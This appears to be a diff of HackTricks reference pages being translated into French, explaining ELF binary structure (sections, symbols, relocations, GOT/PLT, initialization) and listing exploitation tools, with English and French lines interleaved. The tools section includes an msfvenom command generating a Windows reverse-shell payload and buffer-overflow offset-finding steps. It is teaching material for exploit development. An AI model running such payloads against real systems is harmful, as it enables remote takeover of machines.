Définit l'emplacement des tables de déroulement de pile, utilisées par les débogueurs et les fonctions d'exécution des exceptions C++.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
Contient la configuration de la défense contre l'exécution de la pile. Si activé, le binaire ne pourra pas exécuter de code depuis la pile.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
Indique la configuration RELRO (Relocation Read-Only) du binaire. Cette protection marquera comme en lecture seule certaines sections de la mémoire (comme le `GOT` ou les tables `init` et `fini`) après que le programme a été chargé et avant qu'il ne commence à s'exécuter.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
Dans l'exemple précédent, il copie 0x3b8 octets à 0x1fc48 en lecture seule affectant les sections `.init_array .fini_array .dynamic .got .data .bss`.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
Notez que RELRO peut être partiel ou complet, la version partielle ne protège pas la section **`.plt.got`**, qui est utilisée pour **lazy binding** et nécessite cet espace mémoire pour avoir **des permissions d'écriture** afin d'écrire l'adresse des bibliothèques lors de la première recherche de leur emplacement.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
Définit une table d'entrées TLS, qui stocke des informations sur les variables locales aux threads.
## Section Headers
Section headers gives a more detailed view of the ELF binary
## En-têtes de Section
Les en-têtes de section donnent une vue plus détaillée du binaire ELF.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Il indique également l'emplacement, le décalage, les permissions mais aussi le **type de données** que sa section contient.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Sections Méta
### Meta Sections
- **Table des chaînes** : Elle contient toutes les chaînes nécessaires au fichier ELF (mais pas celles réellement utilisées par le programme). Par exemple, elle contient des noms de sections comme `.text` ou `.data`. Et si `.text` est à l'offset 45 dans la table des chaînes, elle utilisera le numéro **45** dans le champ **nom**.
- Pour trouver où se trouve la table des chaînes, l'ELF contient un pointeur vers la table des chaînes.
- **Table des symboles** : Elle contient des informations sur les symboles comme le nom (offset dans la table des chaînes), l'adresse, la taille et plus de métadonnées sur le symbole.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Sections Principales
### Main Sections
- **`.text`** : Les instructions du programme à exécuter.
- **`.data`** : Variables globales avec une valeur définie dans le programme.
- **`.bss`** : Variables globales laissées non initialisées (ou initialisées à zéro). Les variables ici sont automatiquement initialisées à zéro, empêchant ainsi l'ajout de zéros inutiles au binaire.
- **`.rodata`** : Variables globales constantes (section en lecture seule).
- **`.tdata`** et **`.tbss`** : Comme .data et .bss lorsque des variables locales à un thread sont utilisées (`__thread_local` en C++ ou `__thread` en C).
- **`.dynamic`** : Voir ci-dessous.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## Symboles
Les symboles sont un emplacement nommé dans le programme qui pourrait être une fonction, un objet de données global, des variables locales à un thread...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Chaque entrée de symbole contient :
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **Nom**
- **Attributs de liaison** (faible, local ou global) : Un symbole local ne peut être accédé que par le programme lui-même, tandis que les symboles globaux sont partagés en dehors du programme. Un objet faible est par exemple une fonction qui peut être remplacée par une autre.
- **Type** : NOTYPE (aucun type spécifié), OBJECT (variable de données globale), FUNC (fonction), SECTION (section), FILE (fichier source pour les débogueurs), TLS (variable locale au thread), GNU_IFUNC (fonction indirecte pour la relocation)
- **Index de section** où il est situé
- **Valeur** (adresse en mémoire)
- **Taille**
## Section dynamique
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Le répertoire NEEDED indique que le programme **doit charger la bibliothèque mentionnée** pour continuer. Le répertoire NEEDED se complète une fois que la **bibliothèque partagée est pleinement opérationnelle et prête** à être utilisée.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
## Relocalisations
Le chargeur doit également relocaliser les dépendances après les avoir chargées. Ces relocalisations sont indiquées dans la table de relocalisation dans les formats REL ou RELA et le nombre de relocalisations est donné dans les sections dynamiques RELSZ ou RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Relocalisations Statique
### Static Relocations
Si le **programme est chargé à un endroit différent** de l'adresse préférée (généralement 0x400000) parce que l'adresse est déjà utilisée ou à cause de **ASLR** ou pour toute autre raison, une relocalisation statique **corrige les pointeurs** qui avaient des valeurs s'attendant à ce que le binaire soit chargé à l'adresse préférée.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
Par exemple, toute section de type `R_AARCH64_RELATIV` devrait avoir modifié l'adresse au biais de relocalisation plus la valeur d'addend.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
### Relocalisations Dynamiques et GOT
### Dynamic Relocations and GOT
La relocalisation pourrait également référencer un symbole externe (comme une fonction d'une dépendance). Comme la fonction malloc de libC. Ensuite, le chargeur, en chargeant libC à une adresse, vérifie où la fonction malloc est chargée, il écrira cette adresse dans la table GOT (Global Offset Table) (indiquée dans la table de relocalisation) où l'adresse de malloc devrait être spécifiée.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
### Table de Liaison de Procédure
### Procedure Linkage Table
La section PLT permet d'effectuer un liaison paresseuse, ce qui signifie que la résolution de l'emplacement d'une fonction sera effectuée la première fois qu'elle est accédée.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
Ainsi, lorsqu'un programme appelle malloc, il appelle en réalité l'emplacement correspondant de `malloc` dans le PLT (`malloc@plt`). La première fois qu'il est appelé, il résout l'adresse de `malloc` et la stocke, donc la prochaine fois que `malloc` est appelé, cette adresse est utilisée au lieu du code PLT.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
## Initialisation du Programme
Après que le programme a été chargé, il est temps pour lui de s'exécuter. Cependant, le premier code qui est exécuté **n'est pas toujours la fonction `main`**. Cela est dû au fait que, par exemple, en C++, si une **variable globale est un objet d'une classe**, cet objet doit être **initialisé** **avant** que main ne s'exécute, comme dans :
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
Notez que ces variables globales sont situées dans `.data` ou `.bss`, mais dans les listes `__CTOR_LIST__` et `__DTOR_LIST__`, les objets à initialiser et à détruire sont stockés afin de les suivre.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
À partir du code C, il est possible d'obtenir le même résultat en utilisant les extensions GNU :
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
D'un point de vue du compilateur, pour exécuter ces actions avant et après l'exécution de la fonction `main`, il est possible de créer une fonction `init` et une fonction `fini` qui seraient référencées dans la section dynamique comme **`INIT`** et **`FIN`**. et sont placées dans les sections `init` et `fini` de l'ELF.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
L'autre option, comme mentionné, est de référencer les listes **`__CTOR_LIST__`** et **`__DTOR_LIST__`** dans les entrées **`INIT_ARRAY`** et **`FINI_ARRAY`** de la section dynamique et la longueur de celles-ci est indiquée par **`INIT_ARRAYSZ`** et **`FINI_ARRAYSZ`**. Chaque entrée est un pointeur de fonction qui sera appelé sans arguments.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **pointeurs** qui seront exécutés **avant** les pointeurs de **`INIT_ARRAY`**.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### Ordre d'initialisation
### Initialization Order
1. Le programme est chargé en mémoire, les variables globales statiques sont initialisées dans **`.data`** et celles non initialisées mises à zéro dans **`.bss`**.
2. Toutes les **dépendances** pour le programme ou les bibliothèques sont **initialisées** et le **lien dynamique** est exécuté.
3. Les fonctions **`PREINIT_ARRAY`** sont exécutées.
4. Les fonctions **`INIT_ARRAY`** sont exécutées.
5. S'il y a une entrée **`INIT`**, elle est appelée.
6. Si c'est une bibliothèque, dlopen se termine ici, si c'est un programme, il est temps d'appeler le **vrai point d'entrée** (fonction `main`).
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Stockage Local par Fil (TLS)
## Thread-Local Storage (TLS)
Ils sont définis en utilisant le mot-clé **`__thread_local`** en C++ ou l'extension GNU **`__thread`**.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
Chaque fil maintiendra un emplacement unique pour cette variable, donc seul le fil peut accéder à sa variable.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
Lorsque cela est utilisé, les sections **`.tdata`** et **`.tbss`** sont utilisées dans l'ELF. Qui sont comme `.data` (initialisé) et `.bss` (non initialisé) mais pour le TLS.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et l'offset TLS, qui est l'offset qu'elle utilisera dans la zone de données locale du fil.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adresse de base du stockage local par fil et pointe vers la zone en mémoire qui contient toutes les données locales par fil d'un module.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# Exploiting Tools
# Outils d'Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### Installer
```bash
apt-get install gdb
```
### Parameters
### Paramètres
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
Vous pouvez éventuellement utiliser [**ce fork de GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) qui contient des instructions plus intéressantes.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Astuces
### Tricks
#### Adresses GDB identiques
#### GDB same addresses
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
Lors du débogage, GDB aura **des adresses légèrement différentes de celles utilisées par le binaire lors de l'exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant :
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _Mettez le chemin absolu vers le binaire_
- Exploitez le binaire en utilisant le même chemin absolu
- `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### Backtrace pour trouver les fonctions appelées
Lorsque vous avez un **binaire lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour, par exemple, demander une entrée utilisateur**.\
Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce qu'on vous demande une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées :
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### Serveur GDB
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (dans IDA, vous devez remplir le chemin absolu de l'exécutable sur la machine Linux et sur la machine Windows)
## Ghidra
### Find stack offset
### Trouver l'offset de la pile
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
